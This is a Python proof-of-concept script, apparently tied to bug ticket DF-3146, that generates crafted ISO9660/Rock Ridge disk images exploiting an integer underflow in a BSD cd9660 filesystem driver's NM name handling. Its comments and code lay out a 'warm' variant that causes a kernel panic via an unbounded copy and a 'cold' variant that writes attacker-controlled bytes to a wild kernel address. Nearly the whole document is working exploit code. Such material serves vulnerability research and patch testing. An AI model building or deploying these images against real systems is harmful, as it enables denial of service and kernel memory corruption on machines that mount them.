DF-3146 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 | #!/usr/bin/env python3 # DF-3146 -- crafted RRIP/ISO9660 image generator. # # Root directory extent carries "." / ".." dirrecs with SP+ER+PX SUSP fields so # the image mounts as ISO_FTYPE_RRIP (cd9660_vfsops.c:464-485 -> rrip_offset), # plus one crafted trigger entry per requested variant: # # warm : NM(len=5+k, payload k) followed by NM(len=4). # 2nd NM: wlen = 4-5 = -1 (cd9660_rrip.c:258), *outlen = k-1 <= 255, # -> bcopy(in, out, (size_t)-1) (cd9660_rrip.c:276) => instant # kernel copy of 2^64-1 bytes -> page fault panic. # # coldN: [NM(len=4) + 4-byte filler] * N followed by NM(len=5+k, payload). # Each len-4 NM: *outlen = 0-1 wraps u_short to 65535 > NAME_MAX -> # "treat as no name" branch: outbuf -= 65535-(-1) = 65536 exactly # (cd9660_rrip.c:268-271). N such entries rewind the output pointer # N*64KB below idp->current.de.d_name; the final NM then bcopy()s # k fully attacker-controlled bytes to that wild address # (cd9660_rrip.c:276, reached from cd9660_vnops.c:542 readdir). # # The filler after each len-4 NM is required: altname reads the NM flags byte # at field offset +4, which for a 4-byte field is the first byte *past* it; # it must read 0x00 ("component") and the walk then lands on a benign # non-dispatched pseudo-field (version byte != 1) before the next NM. # # Layout (2048-byte sectors): # 16 PVD (root extent = 32, size = 2048) # 17 Volume Descriptor Set Terminator # 32 root directory extent: "." (SP+ER+PX), "..", trigger entry, "Z" import struct, sys BSZ = 2048 ROOT_EXT = 32 NSEC = 40 def b733(v): # little-endian half of a both-endian 733 field return struct.pack('<I', v) + struct.pack('>I', v) def b723(v): return struct.pack('<H', v) + struct.pack('>H', v) def susp(sig, body): assert len(sig) == 2 ln = 4 + len(body) assert ln <= 255 return sig.encode() + bytes([ln, 1]) + body def sp(skip=0): return susp('SP', bytes([0xBE, 0xEF, skip])) def er(): i = b'IEEE_P1282' return susp('ER', bytes([len(i), 0, 0, 1]) + i) def px(mode=0o100644, links=1, uid=0, gid=0): return susp('PX', b733(mode) + b733(links) + b733(uid) + b733(gid)) def st(): return susp('ST', b'') def nm4(): # NM entry with length exactly 4 (no flags byte inside the field). return b'NM' + bytes([4, 1]) def filler(): # bytes after a len-4 NM: flags read = 0x00 (case "component"); # then a pseudo-field with version != 1 that the walk skips over. return bytes([0x00, 4, 0x00, 0x00]) def nm_payload(data): assert 1 <= len(data) <= 250 return susp('NM', bytes([0x00]) + data) def dirrec(name, extent, size, flags, susp_area): assert 1 <= len(name) <= 8 base = (bytes([34 + len(susp_area), 0]) + b733(extent) + b733(size) + bytes(7) + bytes([flags, 0, 0]) + b723(1) + bytes([len(name)]) + name) return base + susp_area def build(variant, N, payload): img = bytearray(b'\x00' * (BSZ * NSEC)) # ---- PVD at sector 16 ---- pvd = bytearray(BSZ) pvd[0] = 1 # type: Primary pvd[1:6] = b'CD001' pvd[6] = 1 # version pvd[8:40] = b'DF3146 CRAFTED IMAGE'.ljust(32) pvd[40:72] = b'DF3146'.ljust(32) pvd[80:88] = b733(NSEC) # volume space size pvd[120:124] = b723(1) # volume set size pvd[124:128] = b723(1) # volume sequence number pvd[128:132] = b723(BSZ) # logical block size pvd[132:140] = b733(10) # path table size (unused by the walker) root = (bytes([34, 0]) + b733(ROOT_EXT) + b733(BSZ) + bytes(7) + bytes([2, 0, 0]) + b723(1) + bytes([1, 0])) assert len(root) == 34 pvd[156:190] = root # root_directory_record pvd[881] = 1 # file structure version img[16*BSZ:17*BSZ] = pvd # ---- terminator at 17 ---- term = bytearray(BSZ) term[0] = 255 term[1:6] = b'CD001' term[6] = 1 img[17*BSZ:18*BSZ] = term # ---- root directory extent at 32 ---- susp_dot = sp(0) + er() + px(0o040555, 1, 0, 0) dot = dirrec(b'\x00', ROOT_EXT, BSZ, 2, susp_dot) dotdot = dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot) if variant == 'warm': # nm4's flags byte is read one past the field: filler() starts with # 0x00 so altname takes the "component" case -> wlen = -1 while # *outlen = 16 -> bcopy(..., (size_t)-1) trig_susp = nm_payload(payload) + nm4() + filler() + px() + st() name = b'W' elif variant == 'cold': trig_susp = (nm4() + filler()) * N + nm_payload(payload) + px() + st() name = b'C' assert len(trig_susp) + 34 <= 255, "too many NM4 pairs for one dirrec" elif variant == 'none': trig_susp = px() + st() name = b'Z' else: raise SystemExit('bad variant') trig = dirrec(name, 36, BSZ, 0, trig_susp) zname = bytes([ord('Z') - 1]) if variant != 'none' else b'Z' z = dirrec(b'Y', 36, BSZ, 0, px() + st()) blk = dot + dotdot + trig + z assert len(blk) <= BSZ, len(blk) img[ROOT_EXT*BSZ:ROOT_EXT*BSZ + len(blk)] = blk return bytes(img) if __name__ == '__main__': variant = sys.argv[1] if len(sys.argv) > 1 else 'warm' N = int(sys.argv[2]) if len(sys.argv) > 2 else 1 out = sys.argv[3] if len(sys.argv) > 3 else 'df3146.iso' payload = bytes(((0x41 + i) & 0xff) for i in range(16)) open(out, 'wb').write(build(variant, N, payload)) print(f'wrote {out}: variant={variant} N={N}') |